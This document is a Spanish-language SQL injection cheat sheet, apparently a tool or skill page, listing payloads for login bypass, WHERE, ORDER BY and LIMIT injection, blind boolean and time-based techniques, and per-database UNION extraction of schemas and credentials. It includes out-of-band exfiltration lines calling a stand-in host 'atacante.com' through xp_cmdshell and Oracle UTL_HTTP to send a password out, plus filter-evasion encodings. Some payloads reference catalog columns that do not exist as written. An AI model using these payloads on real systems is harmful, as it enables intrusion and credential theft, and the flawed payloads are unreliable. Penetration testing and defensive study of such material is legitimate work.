¿Qué hace sqli-inyeccion-sql?
Manual de inyección SQL. Útil cuando la entrada llega a consultas SQL, lógica de autenticación, ordenamiento, filtrado, informes o rutas de ejecución ciega y fuera de banda específicas de la base de datos.
Tipos de Inyección SQL
1. Inyección en Cláusula WHERE
' OR '1'='1
" OR "1"="1
' OR 1=1--
2. Inyección en Autenticación (Bypass de Login)
admin' --
admin' #
admin'/*
' OR 1=1--
3. Inyección en Cláusula ORDER BY
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
ORDER BY (CASE WHEN (TRUE) THEN nombre ELSE apellido END)--
4. Inyección en Cláusula LIMIT
LIMIT 1 UNION SELECT ...
LIMIT 1 INTO @a
5. Inyección en Filtrado/Búsqueda
%' OR '1'='1' --
%' UNION SELECT ... --
6. Inyección en Informes/Exportación
' INTO OUTFILE '/tmp/evil.txt' --
Técnicas de Inyección Ciega
Inyección Ciega Booleana
' AND SUBSTRING((SELECT version()),1,1)='5' --
' AND (SELECT COUNT(*) FROM usuarios)>0 --
Inyección Ciega Basada en Tiempo
' AND SLEEP(5)-- -- MySQL
' AND pg_sleep(5)-- -- PostgreSQL
' WAITFOR DELAY '0:0:5'-- -- SQL Server
Técnicas de Ejecución Fuera de Banda (OOB)
-- MySQL con archivo
' INTO OUTFILE '\\atacante\compartido\payload.txt' --
-- SQL Server con xp_cmdshell
' EXEC xp_cmdshell 'nslookup atacante.com'--
-- Oracle con UTL_HTTP
' OR UTL_HTTP.request('http://atacante.com/'||(SELECT password FROM usuarios WHERE rownum=1))--
Payloads Específicos por Base de Datos
MySQL
' UNION SELECT @@version,user(),database() --
' UNION SELECT table_name,column_name FROM information_schema.columns --
PostgreSQL
' UNION SELECT version(),current_user,current_database() --
' UNION SELECT tablename,columnname FROM pg_tables t JOIN pg_columns c ON t.tablename=c.tablename --
SQL Server
' UNION SELECT @@version,user_name(),db_name() --
' UNION SELECT name,object_id FROM sys.tables --
Oracle
' UNION SELECT banner,table_name,column_name FROM all_tables --
' UNION SELECT version,username,password FROM v$version --
SQLite
' UNION SELECT sql,type,name FROM sqlite_master --
Estrategias de Evasión de Filtros
Comentarios
'/**/OR/**/'1'='1
Codificación de URL
%27%20OR%20%271%27%3D%271
Doble Codificación
%25%32%37%20OR%20%31%3D%31--
Manipulación de Cadenas
' OR '1'='1' --
' OR '1'='2' -- (falso)
' OR LENGTH('abc')=3 --
Funciones de Base de Datos
-- MySQL
' OR BENCHMARK(10000000,MD5('test')) --
-- PostgreSQL
' OR (SELECT COUNT(*) FROM generate_series(1,1000000))>0 --
Herramientas Recomendadas
- sqlmap: Automatización de detección y explotación de SQLi.
- Burp Suite: Interceptación y modificación de peticiones HTTP.
- FFUF: Fuzzing de parámetros.
- Nmap con scripts NSE: Escaneo de vulnerabilidades.